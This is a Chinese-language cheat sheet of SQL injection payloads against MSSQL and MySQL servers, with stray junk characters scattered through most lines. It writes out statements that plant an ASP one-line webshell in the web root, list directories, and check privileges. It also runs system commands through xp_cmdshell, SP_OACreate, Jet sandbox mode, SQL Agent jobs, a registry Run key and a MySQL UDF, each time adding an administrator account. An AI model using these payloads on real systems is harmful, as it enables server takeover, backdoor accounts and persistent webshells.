MSSQL语句导出一句话木马9 _0 w0 T# }" `0 G8 G7 e5 t+ F9 L
首先确定网站的WEB路径' @+ O" ^# F9 x' d; L/ u
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
1 d6 ~, f* q+ a p& x0 @
: ^$ E" }) S3 j; r;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- 0 o7 `6 I. T! N, C
//将一句话木马插入表中% W8 Y1 h4 N, F& O& J
9 e2 ^! ?# `/ p3 q9 P& O5 e;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- $ Q& U4 P+ N/ d6 V
//导出一个ASP文件
# n- A$ R7 B! f: v7 F: Y8 R
$ S0 g, |5 A; D7 X3 E
# K. p3 ]2 ]/ Z% j, Y3 i关于MSSQL列目录
, k4 i% l7 q2 v$ \( c;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表/ W2 o0 q( l4 {. g9 G$ a- T
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表8 }- b3 ?% B: r" h
; g" z% f% o' H
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录/ k6 \% r" L& P
; Y+ D, K) q3 c) Q: x
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段' F' E) x+ d* z5 f
( n9 N/ V8 U3 U) UAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符% d( q& q2 E, V% ^0 J- D
d* ?( n1 n$ Y$ o4 Q9 N" _0 r
- y- {) C* n, o2 C& I# H6 [+ S
数据库版本和权限查看 }" u5 ^# M) V+ I1 X) G
and 1=(select @@VERSION) //查看详细的数据库信息." w/ C/ @3 k- q9 j2 n6 t6 ~
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
# g# ]( r5 n% b& `and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
2 e# C/ m& F7 ^4 S1 F" e$ ^# I6 P+ ?/ E
( r% f0 s a- s6 ^2 N. \1.利用xp_cmdshell执行命令; _& B% b7 P+ ^6 M1 Z3 X, X
exec master..xp_cmdshell 'net user rfire 123456 /add'/ ~ [% \: _) ^4 Q
exec master..xp_cmdshell 'net localgroup administrators rfire /add'& ^$ C1 \) m& ^2 M# c% \2 [) Q
( ]6 G* z8 q- R8 ^恢复xp_cmdshell存储过程( f& }9 D Q8 t6 `
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
5 i7 m% a; Z. r3 I d. V8 @5 D
7 @8 w7 a, z. M0 i# n6 s/ g4 m- c- Q! s) Y+ v( P
2.利用SP_OAcreate和SP_OAMETHOD执行命令- m$ s' p u5 `) @+ G
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下 [" Y# L% l9 S, E; D
DECLARE @shell INT //建立一个@shell实体: r V, V3 i) O ~' P& N
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例2 R1 l# w# A$ A" h, V0 }
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
. X) `5 q, P6 J! k, i
; I4 D* |! e$ c4 Q' r# t+ U O* q+ M* Q* A q. l; y
3.利用沙盒模式" I& A! e( o4 X) K0 U( c: D4 z
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。6 H) o( x" V! K
开启沙盒模式:
" \6 c/ S/ g a( ~0 yEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
& ]6 e+ g5 n+ q4 U" Y
U& @7 `4 O' T5 @执行命令:
) ?+ N6 j* z! h3 ^Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
; d* b0 B( h. g- h7 ~: t) H+ u+ o0 X, }& C& E
) x; E; s% N/ v' {; Y! @& U w8 k
4.利用SQL代理执行命令1 ~4 |- Q! m! Z4 |' L6 Q+ ]8 w
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
% {- w/ U9 h+ ~8 T* z U8 d) U3 a# z* X) n1 }; X
执行命令:
& u3 Z1 S! q5 s9 w7 K1 y& y: c# Z( huse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错) w: c. \- e7 E8 k6 R
exec sp_add_job 'x'* M1 C% B6 j0 X. [: G$ C2 N7 T% H+ q) ]
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业6 J r3 v A3 S6 v& Y
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
# l" t2 n+ t' ^" z+ b' S
8 k1 Y. q9 U \2 t6 X1 | g8 h2 h' J) F. c+ i- l
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
5 O2 ]4 h! l+ K! hEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'0 j4 H- C( w* E5 {: D
6 s/ w i2 U. m. C
0 X6 w. f1 j1 j0 Z
6.MYSQL的命令执行
# \# m, V$ _7 I* j+ Q5 |# f* fMYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
$ J3 h) @! X7 a$ x$ C首先要在su.php下导出c:\windows\udf.dll
. K: D. {, F, x7 E& J导出后执行创建自定义函数命令:
' S: Q% }2 {; [9 z6 ACreate Function cmdshell returns string soname 'udf.dll') \6 X$ s/ `7 x- L Z' e4 Y. u$ f" W
执行命令! P2 x) X7 E: D& S! N1 W: O7 v
select cmdshell('net user rfire 123456 /add')
7 O9 A6 b: T8 y0 z执行后删除函数 drop function cmdshell
; ^; C5 q ~, t0 g- e$ A6 K; K9 y) R( h |